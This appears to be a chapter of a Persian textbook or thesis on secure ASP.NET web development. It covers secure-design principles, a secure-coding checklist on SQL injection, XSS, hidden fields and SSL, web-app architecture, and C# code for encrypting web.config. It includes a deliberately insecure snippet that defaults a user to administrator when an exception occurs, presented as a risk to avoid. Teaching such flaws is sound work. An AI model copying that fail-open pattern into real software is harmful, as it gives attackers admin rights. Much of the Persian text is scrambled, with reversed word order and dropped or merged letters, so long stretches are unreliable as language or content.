 کند بررسی مدیریتی کاربری مجوز برای بگذراند، محصول مدیریت های شبکه از درستی به را دسترسیها اگر است

 .کند ثبت را دسترسیها تمام و

 امن شکست  5-1-3-1

 می تعیین آنها شکست چگونگی. خورند می شکست مختلف دلایل به بنا تراکنشها پردازش در عموما ها برنامه

 .خیر یا هست امن برنامه یک که کند
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 :مثال برای

isAdmin = true; 

try { 

codeWhichMayFail(); 

isAdmin = isUserInRole(“Administrator”); 

} 

catch (Exception ex) { 

log.write(ex.toString()); 

 مدیر پیشفرض صورت به کاربر بخورند، شکست isUserInRole یا codeWhichMayFail از کدام اگرهر{

 .است امنیتی ریسک یک وضوع به این. بود خواهد

 سرویسها به اعتماد عدم 6-1-3-1

 امنیتی های سیاست است ممکن که کنند می استفاده خود همکاران پردازشی تواناییهای از سازمانها از بسیاری

 خیلی کنید کنترل را آن یا بگذارید تاثیر ثالث شخص یک روی بتوانید شما اینکه احتمال .باشند داشته متفاوتی

 .شما اصلی فراهمکنندگان و یاهمکاران باشند خانگی کاربران آنها چه است، کم

 های سیستم تمام با. نیست شده تضمین شوند می اجرا خارج در که هایی سیستم به ضمنی اعتماد بنابراین

 .شود برخورد صورت یک به باید خارجی

 وظایف جداسازی 7-1-3-1

 کند می درخواست کامپیوتر یک که کسی مثال برای. است وظایف جداسازی تقلب کنترل کلیدی روش یک

 درخواست جلوی این. کند دریافت را کامپیوتر مستقیم صورت به نباید و بکند تایید را درخواست این تواند نمی

 .گیرد می را نرسیدند آنهاهرگز اینکه ادعای و کامپیوتر زیادی تعداد برای کاربر یک

 مدیران خصوص به. باشند داشته عادی کاربران به نسبت متفاوتی اعتماد سطوح است ممکن خاص های نقش

 .باشند کاربردی برنامه کاربران نباید مدیران کلی حالت در. متفاوتهستند عادی کاربران با
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 کند تنظیم را عبور ٔ  کلمه سیاست کند، روشن یا خاموش را سیستم بتواند باید سیستم مدیر یک مثال برای

 جای به بتواند که های گون به شود وارد ابرکاربر دسترسی با کاربر یک عنوان به فروشگاه به بتواند نباید ولی

 .کند خریداری کالا دیگر کاربران

 ابهام مبنای بر امنیت از خودداری  8-1-3-1

 می شکست تقریباهمیشه باشد کنترل روش تنها اگر و است ضعیف امنیتی کنترل یک ابهام مبنای بر امنیت

 کلیدی های سیستم امنیت که معناست این به بلکه است بد ایده یک راز داشتن که نیست معنی این به این. خورد

 .باشد جزییات نگهداشتن مخفی مبنای بر نباید

 شده نگهداشته مخفی آن منبع کد که باشد این بر مبتنی فقط نباید کاربردی برنامه یک امنیت مثال برای

 در دفاع عبور، ٔ  کلمه منطقی های سیاست شامل که باشد وابسته دیگری بسیار های فاکتور به باید امنیت .است

 لینوکس عملی مثال یک. شود می تقلب کنترل و شبکه معماری تجاری، های تراکنش های محدودیت عمق،

 .است امن هنوز ولی دارد وجود دسترسهمگان در لینوکس کد. است

 یامنیت مشکلات درست اصلاح 9-1-3-1

 ای ریشه علت و شود تولید آن برای آزمون یک که است مهم شود، می شناسایی امنیتی مساله یک وقتی

 کد های پایگاه درهمه امنیتی مساله اینکه احتمال شود، می استفاده طراحی های الگو از وقتی. شود درک مساله

 از یکی امنیت. است لازم زیاد تغییرات ایجاد بدون مناسب ٔ  وصله تولید بنابراین است، زیاد باشد داشته وجود

 یک باید شما واقع در. شود گرفته نظر در تولید پروسه مراحل اولین از باید که است افزار نرم هر کلیدی بخشهای

 است لازم شرط تنها ایمن معماری یک داشتن حال این با. کنید انتخاب خود افزار نرم تولید برای ایمن معماری

 .نیست کافی وجه هیچ به و

 چک لیست کد نویسی امن 2-3-1

 :باشید داشته خاطر در رو ذیل هایرهنمون که است لازم کدنویسی هنگام
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 نکنید اعتماد کاربر هایورودی به هیچگاه -1

 کاربر هایورودی همیشه بنابراین؛ شود ثابت شما به آن خلاف اینکه تا بگیرید نظر در دشمن یک رو کاربر هر

 علاوه ASP.NET در. لاغیر و بپذیرد رو معتبر های داده تنها که بنویسید طوری رو کدتون. کنید سنجی اعتبار را

 ورودی های داده نیز Server-Side صورت به میکنند، عمل Client-Side صورت به که Validtion هایکنترل بر

 و باشد کرده فعال غیر Java-Script کاربر مرورگر در که هست امکان این همیشه چون کنید، Validate را کاربر

Client-Side Validation نکند عمل. 

 نکنید استفاده SQL کوئری یک ایجاد برای ها رشته اتصال یا الحاق از هیچگاه-2

 دستورات از همیشه. SQL Injection حملات برای راه گزاشتن باز با است مساوی اینکار دادن انجام واقع در

 حملات برابر در هاStored Procedure همه که هرچند. هاStored Procedure مثل کنید استفاده پارامتر بر مبتنی

SQL Injection نیست مقاوم .LINQ 2 SQL برابر در زیادی بسیار حد تا خود خودی به SQL Injection مقاوم 

 .ست

 صورت به کنید encode یا کنید سنجی اعتبار اینکه از قبل را کاربر توسط شده وارد های داده هیچگاه-3

 .نگزارید نمایش به وب صفحه در مستقیم

 باعث این و کند وارد شما سایت وب به ورودی هایفرم طربق از را مخرب جاوااسکریپتی کدهای میتواند کاربر

 متد از همیشه بنابراین؛ شود Cross Site Scripting یا XSS حملات طریق از شما سایت وب پذیری آسیب

HttpUtility.HtmlEncode )(کنید استفاده. 

 نکنید ذخیره هاHidden field در را مهم و حیاتی های داده هیچگاه-4

Hidden fieldدیدن با براحتی میتواند کاربر هستند، تغیر و خواندن قابل براحتی ها Source مقدار شما صفحه 

Hidden fieldفرم که است کافی نفوذگر فرد حالت این در. کند ذخیره فایل در و دهید تغیر را آن بخواند، را ها 
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 ایمیل سادگی به میکند، ساده بسیار رو اینکار که هایهستندAdd-on یا پلاگین. کند ارسال سرور به را شده ذخیره

 .زدن

 نکنید ذخیره ViewState در را مهم و حیاتی های داده هیچگاه-5

ViewState از دیگر مدل یک نیز Hidden field در اختصاصا مایکروسافت که است ASP.NET Web formها 

 شبیه رو وب نویسی برنامه اینکه برای کرد عرضه ASP.NET با رو View state مایکروسافت. است کرده استفاده

 استفاده هاASP.NET Web form از ویندوز نویسان برنامه از عظیمی خیل اینکار با و کند ویندوز نویسی برنامه به

 .خواند را آن میشود راحتی به ولی داد تغیر راحتی به نمیتوان را ViewState چه اگر. کردند

 .کنید فعال را SSL میکنید استفاده ASP.NET Form Authentication از که هنگامی -6

SSL واقع در. است مهم بسیار … و اعتباری کارت شماره عبور، کلمه مثل مهمی ها داده کردن مخفی برای 

. میکنید کم بسیار را نفوذگر توسط ها داده شنود و نفوذ احتمال سرور، وب و مرورگر ارتباطی کانال کردن ایمن با

 در تنها. داشت نخواهد تداخلی هیچ شما نویسی برنامه با و میشود ست ISS در SSL که اینجاست جالب نکته

 میشود اضافه http انتهای به s یک آدرسها ابتدای

 .کنید محافظت هایتان کوکی از-7

 و کنید محافظت Form Authentication از استفاده زمان در هایتان Authentication Cookie از همیشه

 نه و باشد لازم که باشد طولانی ای اندازه تا تنها ؛ وکنید ست کوتاه دارد امکان که جایی تا را Time-out زمانی

 .بیشتر

 .کنید استفاده SSL از-8

 .کنید ایمن SSL با رو وبسایت کل. میکند پردازش را مهمی های داده شما وب کاربری برنامه اگر کلی طور به
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 و امنیت آن های دات نت برنامه یمعرف -2

دی از یاست. ظهور نسل جدای نرم افزار را دستخوش تحولات فراوانی نموده ینترنت و به دنبال آن وب، دنیا

س وب در یم است. پس از ارائه سروین تحولات عظیاز جمله ا»وتری موسوم به برنامه های وب یامپکبرنامه های 

 از خود مخاطبان به اطلاعات ارائه منظور به ها تیسا نگونهیا  د.یجاد گردیت های متعددی ای، وب سا1991سال 

 .نداشت وجود برنامه با اربرک تعامل انکام هائی، تیسا وب نیچن در. ردندک می استفاده ستایا وب صفحات

باشد، تلاش های گسترده ای  نمی سازگار چندان افزار نرم  روح ای و تیماه با فوق ردیکرو هک نیا به توجه با

اده ید. به عنوان نمونه، با پیجاد گردیا انجام و متعاقب آن، فن آوریهای متعددی ایات پویجاد محتویدر جهت ا

 به خارجی های برنامه از استفاده انکام ،( Common Gateway Interfaceبرگرفته از ) CGIسازی فن آوری 

برنامه  یکاربران قادر به درج اطلاعات و ارسال آنها برای کب، ین ترتید. بدیهم گردفرا ایپو اتیمحتو دیتول منظور

افت اطلاعات یس دهنده پس از دریموجود در سمت سروس دهنده شدند. برنامه یپت سمت سرویرکا اسیخارجی و 

 اربر ارسال می نمود.کد و آنها را برای یج را تولیف شده، نتایو انجام پردازش های تعر

د یان تولکن مرتبه امیه برای اولکبه عنوان نقطه عطفی در برنامه های وب تلقی می گردد چرا رد فوق،یکرو

د برنامه های ینون فن آوریهای متعددی به منظور تولکد. از آن زمان تایگرد ت ها فراهمیا در وب سایات پویمحتو

 فن دامک از هک نیا از صرفنظر  نه می باشند.یزم نیا در هائی نمونه ASP.NETو  PHP  جاد شده است.یوب ا

 ادهیپ تمامی کمشتر اهداف جمله از آنان سازی منیا گردد، می استفاده وب های برنامه جادیا منظور به آوری

 .است نندگانک

ارت های کسرقت  ت،یسا یکه ید، تهاجم علیان می آیت برنامه های وب سخن به میه در رابطه با امنکزمانی 

ف شده، یس های تعریردن آنان به منظور ارائه خدمات و سروکت ها در جهت مستاصل یاعتباری، بمباران وب سا

 ، ذهن تداعی می گردد. صرفنظر از نوع برداشت ما در رابطه با موارد فوقرم ها و ... در کروس ها، تروجان ها، یو
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 سازمان. باشد می آنان تیماه به توجه با وب های برنامه متوجه متعددی تییامن داتیتهد  هکم یریت بپذسیبا می

 باشند، می آنان سازی ادهیپ و طراحی صدد در ای و ندینما می استفاده ها برنامه نگونهیا از هک موسساتی ای و ها

فن آوری خاص  یکری یارگکامه وب، محدود به ببرن یک سازی منیا هک ندینما توجه مهم تهکن نیا به ستیبا می

   رگذار باشند.یرانسانی متعددی می توانند بر روی آن تاثیه عوامل انسانی و غکندی است مستمر ینبوده و فرآ

 ست با توجه به یت برنامه های وب را می بایامن

 نوع معماری و رفتار آنان بررسی نمود.

گر عدم یطرف و از سوی د یکت برنامه های وب از یل عدم شناخت لازم در خصوص ماهیمتاسفانه به دل

 اجازه. میباش می وب های برنامه تیامن خصوص در نادرست های برداشت شاهد ، تیم امنیآشنائی لازم با مفاه

 :مینمائ اشاره خصوص نیا در نمونه چند به دیده

 دیتهد نوع به و است اشتباه کاملا تصور  نی. امیروال استفاده می نمائیفا یکم چون از یمن هستیما ا

 نمی وب برنامه یک به ارسال جهت مخرب ورودی داده صیتشخ به قادر روالیفا یک «مثلا؛ داشت خواهد بستگی

 از برخی و  ی پورت ها می باشندرو بر تیمحدود اعمال با رابطه در قبول قابل ردیکعمل دارای ها روالیفا  .باشد

 جزء ها روالیفا. ندینما ارائه را حفاظتی برجسته اناتکام شده، مبادله اطلاعات بررسی با همزمان توانند می آنان

 و جادیا منظور به جامع ارکراه یک عنوان به را آنان توان نمی ولی باشند می تییامن کموریفر یک در کنفیلا

 در نظر گرفت. منیا طیمح یک برپائی

برای  SSL  .میاستفاده می نمائ (Secure Sokets Layerاز برگرفته ) SSL  م چون ازیمن هستیما ا

برنامه نمی  یکده آل است ولی قادر به بررسی داده ورودی ینه ایگز یکه کموجود بر روی شب یکرمزنگاری تراف

 باشد.
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ستم های عامل یر سیه نسبت به ساکم یستم عاملی استفاده می نمائیاز س م چونیمن هستیما ا

ه کرمنطقی است چرایه، نادرست و غیبا فرض درست بودن اصل قض. استدلال فوق شتری استیت بیدارای امن

ستم یس یکبه عنوان نمونه )محصول خاص  یکری یارگکن با بیبنابرا؛ محصول یکند است نه یفرآ یکت یامن

به  م.یافته ایجاد برنامه های وب دست یمن به منظور ایط ایمح یکه ما به کن ادعا را داشت ینمی توان ا (عامل

 چون خوبم من) .نمود دیتائ را گرید عامل ستمیس یک تیامن توان نمی عامل ستمیس یک تیامن رد با عبارتی 

 (!دیهست بد شما

  در ادامه به شناخت ماهیت برنامه های وب می پردازیم.
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 اجزای برنامه های تحت وب 1-2

 هیتحت وب سه لا یبرنامه ها یشده است. در معمار لیتشک یعملکرد ادیز یها هیبرنامه تحت وب از لا کی

متداول وب  یها یبر فن آور یوب متک یداده است. معمار یها هیارائه، منتطق و لا شامل مهم وجود دارد که

شود، پروتکل  یعرصه استفاده م نیانتقال اطلاعات در ا یهم که برا یاصلی است و پروتکل HTMLمانند زبان 

HTTP باشد.  یمHTTP از نوع  81بوده از پورت  نتیکلا و سرور انیم یرسانه ارتباطTCP ارتباط  نیا یبرا

 .دینما یاستفاده م

از صفحات  یمجموعه ا قیباشند و از طر یکاربر و وب سرور م انیواسط م کیوب در واقع  یکاربرد یها برنامه

 یدر مرورگر وب مشتر ایبه صورت پو پتیاسکر یتوسط کدها ایشده است و  جادیصفحات ا یینها که در سرور

، IIS کروسافتیاز ما اندعبارتشوند  یمحبوب که امروز مورد استفاده م یها سرور از وب یشوند. برخ یاجرا م

 یمورد نظر و برنامه کاربرد تیبا توجه به نوع وب سا یوب سرور ها نیا از کی. هر Sunو  AOL/Netscape ،یآپاچ

 .رندیگ یتحت آن، انتخاب شده و مورد استفاده قرار م

 لیدل نیاست. به هم تیدر وب سرور ها حائز اهم تیهمانند امن زیتحت وب ن یکاربرد یدر برنامه ها تیامن

نوع حمله مانند  نیآنها نسبت به چند رایهستند، ز یتیامن یها استیس یمجبور به اجرا وب تحت یبرنامه ها

SQL Injection ،croos site scripting ،session hijacking رندیپذ بیآس رهیو غ. 

 :باشند می زیر شرح به وب تحت های برنامه اجزای

 تحت های برنامه به دسترسی اجازه اطمینان قابل کاربران به لاگین صفحات توسط ها سایت وب اکثر :ورود

 و کاربری نام باید نظر مورد سرویس ویا محتوا مشاهده برای کاربران که است معنی این بدین .دهند می را وب

 .نمایند وارد را صحیح عبور کلمه



 

33 

 که دارد اشاره وب محتوای ارائه برای شده گرفته نظر در افزار سخت یا و افزار نرم هر به سرور وب :سرور وب

 .باشد دسترسی قابل اینترنتطریق  از تواند می

 می نشست .است نشست ردیابی مکانیزم یک دارای وب تحت برنامه هر :()Session نشست ردیابی مکانیزم

 .شود ردیابی SSL به مربوط اطلاعات یا و URL (URL Rewrite بازنویسی ها، توسط کوکی تواند

 یک به نسبت شما دسترسی ولی شوید، وارد سایت وب یک به شما است ممکن :کاربران دسترسی مجوز

 از شما و شده داده نمایش خاص پیام شما به که دارد احتمال حالت این در .باشد شده محدود خاص صفحه

 .باشید شده منع خاص اطلاعات به دسترسی

 پارامترهایی از و پذیرفته است، کلاینت طرف از که را وب های درخواست تعاملی، برنامه یک :ها برنامه مقادیر

 .نماید می استفاده خاص های عملکرد انجام برای شود، می ارسال وب مرورگر توسط که

 جزئیات تمام آن در که ها داده به دسترسی کتابخانه طریق از وب صفحات معمولا :ها داده به دسترسی

 .دارند ارتباط یکدیگر با است، شده ذخیره داده پایگاه

 داده معمولا .باشد می برخوردار بالایی اهمیت از سرور وب در اطلاعات سازی ذخیره :ها داده سازی ذخیره

 ولی باشند سرور یک یا و شبکه یک در سرور وب و داده پایگاه است ممکن البته شوند، می ذخیره داده پایگاه در ها

 و ندارد امنیتی توجیه سرور، یک در سرور وب و داده پایگاه دادن قرار .هستند ارتباط در یکدیگر با صورت هر در

 لازم .ندهید قرار DMZ محیط داخل را آن همچنین و شده داده قرار سرور وب از جدا داده پایگاه شود می پیشنهاد

 .شد خواهد داده توضیح مربوطه فصل در داده پایگاه خصوص در امنیتی موارد است ذکر به

 های آن از یک که شوند می بندی تقسیم هایی قسمت به وب کاربردی های برنامه معمولا :برنامه منطق

 خدمات این .کند می ارائه خدماتی آن به و نموده دریافت مرورگر از را ها درخواست قسمت این .است برنامه منطق

 در که برنامه منطق .باشد آن در کاربر اطلاعات بروزرسانی و داده پایگاه با ارتباط و سوال پرسیدن شامل تواند می
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 توسعه توسط که را نیاز مورد مراحل شود، می گفته آن به یزن (Busines Logic) کار و کسب طقمن موارد برخی

 زمانی مانند قسمت این برای مثالی .کند می توصیف خاص، فعالیت یک تکمیل برای شود، می تعریف برنامه دهنده

 و آدرس نام، وی از آن از پس و دارد را خود آنلاین خرید سبد به آیتم یک کردن اضافه قصد مشتری که است

 .شود می پرسیده خرید فرآیند تکمیل و سفارش آن جهت دیگری مشخصات

 گونه به (logout) شود خارج وب تحت برنامه و مرورگر از یا کند خاموش را سیستم تواند می فرد یک :خروج

 توسط خودکار صورت به تواند می کار این البته .یابد پایان است شده ایجاد کاربر و برنامه بین که نشستی که ای

 سمت در وب تحت برنامه با کار اتمام از پس گردد می پیشنهاد البته .پذیرد صورت سرور در وب تحت برنامه

 شوید. خارج برنامه از خروج، فشردن دکمه با مرورگر، بستن جای به گیرنده، سرویس

 طرز کار برنامه های تحت وب 2-2

 

 

 بلافاصله کند، می کلیک ای صفحه در و کرده تایپ را آدرسی آن در و کرده باز را خود مرورگر شخصی هرگاه

 حال .نماید می مشاهده خود کامپیوتر صفحه در را نظر مورد پاسخ و شده ارسال نظر مورد مقصد به وی درخواست
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 چگونگی توضیح به بخش این در چیست؟ دهد می صورت را فرآیند این و افتد می اتفاق پرده پشت در که مکانیزمی

 .پرداخت خواهیم وب تحت برنامه کارکرد

 های ورودی و دارد کار و سر کاربر با اول لایه .شود می توصیف لایه سه در معمولا وب تحت های برنامه عملکرد

 ASP مانند نویسی برنامه های زبان شامل دوم لایه .کند می دریافت کاربری واسط یا وب گر مرور طریق از را وی

 ذخیره منظور به که باشد می داده پایگاه پایانی لایه در و باشند می پویا محتوای تولید برای ابزاری که باشد می

 .گیرد می قرار استفاده مورد عبور کلمات و کاربری های نام مانند مواردی همچنین و اطلاعات سازی

 از وی اطلاعات این سپس و نموده تکمیل را فرمی ابتدا کاربر نمایید، می مشاهده بالا شکل در که همانطور

 از بایست می اطلاعات این قسمت این در .شود می هدایت وب دهنده سرویس سمت به مرورگر و اینترنت طریق

 برقرار ارتباط وب تحت برنامه با وب، سرور به رسیدن از پس و نموده عبور دهند سرویس سمت در موجود فایروال

 را وب ساده صفحه یک کاربر اگر .کند می کنترل را فایل پسوند سرور، وب درخواست، دریافت که هنگامی .نماید

 مرورگر به را نظر مورد فایل و نموده پردازش را درخواست سرور وب بود، کرده درخواست html یا htm پسوند با

 آنگاه نماید، درخواست cfc یا cfm، cfml مانند پسوندهایی با وب صفحه یک کاربر اگر حال .نماید می ارسال کاربر

 .شود پردازش وب تحت برنامه توسط باید وی درخواست

 هرگاه .باشد می ارتباط در عامل سیستم با داده پایگاه این که است متصل داده پایگاه یک به وب تحت برنامه

 استخراج داده پایگاه داخل از اطلاعات و نموده برقرار را ارتباط این وب تحت برنامه بود، داده پایگاه با ارتباط به نیاز

 .گیرد می صورت آن روی نظر مورد پردازش و شده

 معماری برنامه های تحت وب 3-2
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 .نمایید می مشاهده را دارد وجود وب تحت برنامه و کلایت بین ارتباط در که بندی لایه بالا شکل در

 تحت های برنامه .گیرد می صورت وب مرورگر یک طریق از کاربر ارتباطات معمولا وب تحت برنامه معماری در

 HTML مانند کلاینت سمت ها اسکریپت از و PHP و ASP مانند سرور سمت های اسکریپت از ای مجموعه از وب

 .کند می استفاده ها برنامه اجرای منظور به Java Script و

 با سرور وب و شود می ارسال آن به ابتدا کاربر درخواست که باشد می معماری این از دیگری جزء سرور وب

 .گیرد می قرار استفاده مورد اطلاعات سازی ذخیره جهت که است داده پایگاه دیگر، جزء .دارد وب تحت برنامه

 عماری چارچوب دات نتم 4-2

و مدیران این امکان را می دهد تا کنترل امنی بر روی  دهندگانتوسعهاستفاده درست از چارچوب دات نت، به 

توانند کار  یم وهمچنین با مجموعه ابزار هایی که کار با آنها بسیار ساده است، برنامه ها و منابعشان داشته باشند
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 کنند. حذف بسیاری از خطرات سازیپیادههایی از قبیل احرازهویت، اعطای مجوز و رمزنگاری را با قدرت بالا 

کاربران ن  و تغییر مسئولیت از (مانند سرریز های بافر)شدن برنامه ها امروزی با کد ناقص  امنیتی بزرگ، مواجه

خاص  ٔ  برنامهاز قبیل اجرای یک )و مدیران، باعث ایجاد تصمی مگیری بحرانی امنیتی  دهندگانتوسعههایی به 

 .شودمی  (و یا منابعی که برنامه باید قادر به دسترسی باشد

اهیم داد که چگونه امکانات امنیتی مبتنی بر نقش، امنیت دسترسی به کد، فرآیند وضیح ختودر این مستند ما 

های کاربردی که برای رسیدن به این نتایج باهم  حوزهسازی مجرد و  راستی آزمایی، پشتیبانی رمزنگاری، ذخیره

های کاربردی، درهر دو سمت کارخواه و کارگزار افزار نرمبستر قوی برای توسعه و اجرای انواع  ٔ  یهاراکار می کنند، 

 می پردازیم.

تر فراهم کند که خود برنامه بتواند در برابر حملات شچارچوب دات نت می تواند تشکیلاتی با اطمینان بی

 امروز و آینده مقاوم باشد. شدهشناختهامنیتی 

است. این سیستم شامل ویژگیهای  CLR ا یازبان های زمان اجر سیستم امنیتی چارچوب دات نت بخشی از

 ترسی می باشد.سکد د یبسیاری از قبیل تبدیل نوع امن، مدیریت استثنا امن و کنترل امنیت

امنیت چارچوب دات نت در این قبیل روشها به عنوان یک مکمل ویژگیهای امنیتی موجود در ویندوز 

های امنیتی مبتنی بر ویندوز نادیده گرفته نشده  میزمکانچند هیچ یک از  هر مایکروسافت طراحی شده است.

 را نشان می دهد. ASP.NETدر  یتیامن ستم هایین سیب روابط ریز ریتصو است.
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 سرویسیقطراز  ASP.NETی ی وب با برنامه ها کاربرده هاهمانطور که تصویر نشان می دهد، تمام کارخوا

در صورت لزوم درخواست را احرازهویت می کند  IIS های اطلاعات اینترنت مایکروسافت ارتباط برقرار می کنند

را مشخص می کند. اگر کارخواه مجاز است، منبع در دسترس  (ASP.NET مانند برنامه)شده  و منابع درخواست

 ..قرار می گیرد

 ASP.NETر د شدهیهتعبدر حال اجرا است، می تواند از ویژگیهای امنیتی  ASP.NET ٔ  برنامهکه یک  هنگامی

 .می تواند از ویژگیهای امنیتی چارچوب دات نت استفاده کند ASP.NET استفاده کند. علاوه بر این، یک برنامه

 د.انجام دهیASP.NET ، شما می توانید احرازهویت را درIIS واناییهای احرازهویتت علاوه بر اتکا به

را درک کنید.  IIS را در نظر می گیرید، شما باید تعامل خدمات احرازهویت ASP.NET که احرازهویت هنگامی

IIS  فرض می کند که یک مجموعه از اعتبارنامه ها به حساب کاربری ویندوزNT  مایکروسافت نگاشت می شود و

 اندعبارت 7 ٔ  نسخه IISباید از این اعتبارنامه ها برای احرازهویت یک کاربر استفاده کند. روش های احرازهویت در 



 

39 

ویندوز. شما  ٔ  یکپارچه، فرمها و امنیت digestکارخواه،  ٔ  نامه، نگاشت اجازه ASP.NETهویت  نام، جعل از: بی

 انتخاب کنید. IISاستفاده از خدمات مدیریتی  را با می توانید نوع احرازهویت

درخواست  نگاشت می شود درخواست بدهند، ASP.NETکاربردی  ٔ  برنامهکه به یک  URLاگر کاربران به یک 

احرازهویت مبتنی بر فرم را فراهم می کند.  ASP.NETود.شو اطلاعات احرازهویت به برنامه کاربردی داده می 

وب که  ٔ  صفحهرخواست های احرازهویت شده به یک دفرم، یک سیستم است که با آن  احرازهویت مبتنی بر

 ٔ  برنامهشما ایجاد می کنید ارسال می شوند. کاربر اعتبارنامه ها را فراهم می کند و صفحه را ارسال می کند. اگر 

اعتبارنامه ها یا  شما درخواست را احرازهویت کند، سیستم یک بلیط احرازهویت در یک کوکی صادر می کند که

یک کلید برای دریافت دوباره شناسه را در خود دارد. درخواست های بعدی این بلیط احرازهویت راهمراه درخواست 

 خواهند داشت.

مشابه سایر  پیکربندی می شود. Web.configو  Machine.configدر دو فایل  ASP.NETتنظیمات امنیتی 

 از نصب Config ٔ  یرپوشهزدر  Machine.configای و پیشفرض در فایل  اطلاعات پیکربندی تنظیمات پایه

Internet Information Services (IIS) چارچوب دات نت ذخیره می شوند. شما می توانید تنظیمات خاص  یجار

 ٔ  برنامه ٔ  یشهرهای  پوشهسایت یا  ٔ  یشهرکه در  Web.configرا در فایل های  کاربردی ٔ  برنامهسایت یا خاص 

ها تنظیمات یک پوشه را به ارث می برند مگر اینکه توسط یک فایل  بسازید. زیرپوشه ربردی ذخیره می شوند،کا

Web.config .در پوشه این تنظیمات بازنویسی شده باشند 

machine.config  وApp.config  وweb.config فایل های پیکربندی  .هستند هر سه فایل های پیکربندی

این فایل ها مزیتی که دارند این است که  هستند به کار می رود. یی که مقدارهای کلیدیبرای ذخیره داده ها

محافظت می  یکروسافتما (Framework) دارای امنیت می باشند و اطلاعات داخل آنها توسط خود فرم ورک

 .اگر در برنامه ای آدرس این فایل ها زده شود به کاربر پیغام خطا داده می شود ؛ وشود
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Web.config .فایل پیکربندی  ینا یک فایل پیکربندی است که در برنامه های وب مورد استفاده قرار می گیرد

 .برنامه را درون خود نگهداری میکند

App.config  این فایل پیکربندی در برنامه های خاصی مانند سرویس های ویندوز، برنامه وب، کنسول و یا

WPF استفاده می شود. 

Machine.config  این فایل زمانی کهVisual.Net  را در سیستم خود نصب می کنید در داخل سیستم عامل

در کل  machine.configیک فایل  فقط فایل تنظیمات ماشین را درون خود ذخیره می کند. ینا ایجاد می شود.

 .سیستم خواهیم داشت

را شرح می  web.configمختلف  پس از این آشنایی مختصر با فایل های پیکربندی، رمزنگاری بخش های

 دهیم

ایجاد می  webformیک صفحه  سپس ایجاد می کنیم.ASP.Net Web Form   ابتدا یک پروژه جدید از نوع

 .را لود می کنیم Authenticationکنیم در داخل این صفحه ابتدا محتویات قسمت های رشته اتصال و 

 Authenticationازگشایی رمز بخش های رشته اتصال و در داخل این صفحه چندین دکمه برای رمزنگاری و ب

 :صفحه به صورت زیر است UIقسمت  .قرار می دهیم

<body dir="rtl" style="background-color: beige;"> 

    <form id="form1" runat="server"> 

    <div> 

        <h1> Web.config رمزنگاری قسمت های مختلف در   </h1> 

        <p> ددر قسمت پایین با زدن دکمه های مربوط به رمزنگاری و بازگشایی رمز می توانید به اجرای عملیات مربوطه بپردازی  

      </p> 

        <p>  <p/> تکد زیر مربوط به رشته اتصال اس

         

<asp:Label ID="PlainTextConnectionString" runat="server"></asp:Label><br /><br /> 
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            <b>محتوای Web.config</b> 

        <asp:TextBox ID="webConfig" TextMode="MultiLine" Width="97%" Rows="20" 

runat="server"></asp:TextBox> 

        <p> 

            <asp:Button ID="btnRefreshWebConfig" runat="server" Text="Refresh" 

OnClick="btnRefreshWebConfig_Click" /> 

            &nbsp;&nbsp;&nbsp; 

            <asp:Button ID="btnEncrypt" runat="server" Text=" Web.config رمزنگاری بخش رشته اتصال در   " 

OnClick="btnEncrypt_Click" /> 

            &nbsp;&nbsp;&nbsp; 

            <asp:Button ID="btnDescrypt" runat="server" Text=" Web.config بازگشایی رمز قسمت رشته اتصال در   " 

OnClick="btnDescrypt_Click" /> 

            &nbsp;</p> 

        <p> 

            <asp:Button ID="btnEncAuthentication" runat="server" OnClick="btnEncAuthentication_Click" 

                Text="رمزنگاری بخش Authentication" /> 

            &nbsp; 

            <asp:Button ID="btnDecAuthentication" runat="server" 

OnClick="btnDecAuthentication_Click" 

                Text="بازگشایی رمز Authentication" /></p> 

    </div> 

    </form> 

</body> 

</html> 

 و برای رمزنگاری و رمزگشایی رشته اتصال کدهای زیر را می نویسیم Code Behindسپس در بخش 

protected void btnEncrypt_Click(object sender, EventArgs e) 

  { 

      ProtectSection("connectionStrings", "DataProtectionConfigurationProvider"); 

      RefreshWebConfig(); 

  } 
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  protected void btnDescrypt_Click(object sender, EventArgs e) 

  { 

      UnProtectSection("connectionStrings"); 

      RefreshWebConfig(); 

  } 

ر را می کد های زی web.configدر  Authenticationبه همین ترتیب برای رمزنگاری و رمزگشایی قسمت 

 .خواهد نشست Web.config اطلاعات رمزنگاری شده به جای اطلاعات اصلی در refresh از زدن دکمه بعد نویسیم.

protected void btnEncAuthentication_Click(object sender, EventArgs e) 

   { 

       ProtectSection("system.web/authentication", "DataProtectionConfigurationProvider"); 

       RefreshWebConfig(); 

   } 

  

   protected void btnDecAuthentication_Click(object sender, EventArgs e) 

   { 

       UnProtectSection("system.web/authentication"); 

       RefreshWebConfig(); 

   } 

طراحی اعمال شده  یسازسادهبه منظور افزایش امنیت و ، دو تغییر عمده 4.0در چارچوب دات نت نسخه 

سیاست امنیتی در سطح  4.0هنوز در جای خود قرار دارد، چارچوب دات نت  نامه ها چند سیستم اجازه هر است.

 .ماشین خود را حذف کرده است و مکانیزم پیشفرض را شفافیت امنیتی قرار داده است

در سطح ماشین از  بوجود آمده، سیاست امنیتی 4.0دو تغییر بزرگ در زیر سیستم امنیتی چارچوب دات نت 

هاهنوز در جای خود قرار دارد و شفافیت امنیتی گسترش یافته و به  نامهاجازههر چند سیستم  ،تبین رفته اس

امنیتی در سطح ماشین به این معنی  تعنوان مکانیزم پیشفرض مورد استفاده قرار می گیرد. از بین رفتن سیاس

 شدهنوشتهچوب دات نت مسئولیت تامین امنیت یک کامپیوتر را بر عهده ندارد و فقط از کد های امن اراست که چ
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است که کد  معرفی شد، مکانیزمی 2.0حفاظت می کند. شفافیت امنیتی که برای اولین بار در چارچوب دات نت 

 .کاربردی تحت چارچوب دات نت را از کد های زیربنایی آن تفکیک می کند ٔ  مهبرنابرای یک  شدهنوشتههای 

یک مدل دو  54.نت امگذاری قوی است. چارچوب دات ن 54.نت مهمترین تغییر در امنیت در چارچوب دات 

در یک ظرف  X8 فراهم می کند. برنامه ها فروشگاه ویندوز شدهیریتمدامنیتی برای برنامه ها کاربردی  ٔ  یهلا

 کاملاا  شدهیریتمدامنیتی ویندوز اجرا می شوند که دسترسی به منابع را محدود می کند. در این ظرف، برنامه ها 

برنامه نویس هیچ کاری برای افزایش امتیازات نمی ( CAS) کد بهیدسترسمورد اعتمادهستند. از دیدگاه امنیت 

 .تواند انجام دهد

 دات نتچارچوب  یفضا های نام امنیت 1-4-2

 :فضا های نام امنیتی درچارچوب دات نت شامل موارد زیر است

:System.Securityی تیامن ستمیس رساختیزCLR  ی برا هیپا کلاس های شامل که کند یم فراهمرا

 .مجوزهاست

